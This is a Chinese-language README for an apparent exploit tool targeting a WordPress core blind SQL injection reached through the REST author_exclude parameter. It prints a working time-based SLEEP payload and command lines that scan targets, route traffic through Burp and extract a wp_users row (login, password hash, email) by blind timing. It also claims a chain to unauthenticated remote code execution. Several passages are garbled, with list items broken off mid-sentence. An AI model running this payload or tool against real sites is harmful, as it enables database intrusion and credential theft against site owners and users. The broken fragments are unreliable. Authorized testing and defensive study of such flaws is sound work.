
针对 CVE-2026-60137 的非破坏性概念验证与验证工具集,这是一个 WordPress 核心(WP_Query::author__not_in)中的盲 SQL 注入漏洞,可通过 REST API 的 author_exclude 参数触达。
WP_Query::get_posts() 通过字符串拼接将 author__not_in 查询变量构建成 SQL:
... AND {wpdb->posts}.post_author NOT IN ( <value> )
该值仅在以数组形式到达时才会被(逐元素 absint)清理。如果传入的是标量字符串——REST 的 author_exclude 参数在内部映射为 author__not_in——is_array() 清理保护就会被跳过,原始字符串直接进入 NOT IN (...) 子句,从而导致 SQL 注入(CWE-89)。
形如 1) OR SLEEP(6)# 的载荷会产生:
post_author NOT IN ( 1) OR SLEEP(6)# )
它会被解析为 post_author NOT IN (1) OR SLEEP(6)(末尾的 ) 被 # 注释吞掉)——一个干净、基于时间的盲注预言机,且零数据库写入。
/wp-json/batch/v1 路由混淆在未授权状态下触达。author_exclude(HTTP 400),因此注入点通常仅在插件/主题转发了不受信任的输入、或通过批量路由使用已认证会话(--cookie)时才可触达。cve_2026_60137_poc.py 对数据库只读:
readme.html、/wp-json/ 索引),以检查版本是否在受影响范围内。SLEEP(0) 解析对照 vs. SLEEP(n) 载荷,覆盖多种投递向量(直接 REST 路由、?rest_route= 和批量端点),并针对每个向量给出判定。wp_users 行(user_login、user_pass、user_email),通过盲二分查找计时实现,严格使用 SELECT/SLEEP——绝不会向数据库写入任何内容。# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe
# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
本工具仅供授权安全测试使用——渗透测试、CTF 以及针对您拥有或已获得明确书面许可评估的系统的研究。在未经授权的情况下对系统运行此工具是违法的。作者对滥用行为不承担任何责任。
使用 --json-out 写入的任何输出都可能包含被测试的 URL、版本指纹和计时证据——请将其视为敏感的测试数据。
| 受影响 | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| 已修复 | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9(独立注入点) |
| 链式利用 | 与 CVE-2026-63030(REST 批量路由混淆)组合 → 在 6.9.0 – 7.0.1 上实现 9.8 未授权 RCE |
| Flag | 默认值 | 描述 |
|---|
--url | 必需 | 目标基础 URL |
--safe | off | 仅进行指纹识别;不发送任何载荷 |
--sleep | 6 | 检测预言机使用的 SLEEP() 秒数 |
--samples | 3 | 每次测量的计时样本数(使用中位数) |
--threshold | 0.7 | 视为正向差值的 --sleep 比例 |
--extract | off | 通过盲注预言机提取 wp_users 行 |
--user-id | 1 | 要提取的 wp_users.ID |
--extract-sleep | 2.0 | 每次提取探测的 SLEEP() 秒数 |
--limit | 64 | 每个提取字段的最大字符数 |
--only-vector | — | 仅测试名称包含此字符串的向量 |
--cookie | — | 用于需要认证的向量的已认证 cookie |
--proxy | — | HTTP(S) 代理,例如 http://127.0.0.1:8080(Burp) |
--timeout | 30 | 请求超时时间(秒) |
--no-verify-tls | off | 禁用 TLS 证书验证 |
--json-out | — | 将机器可读的证据写入 JSON 文件 |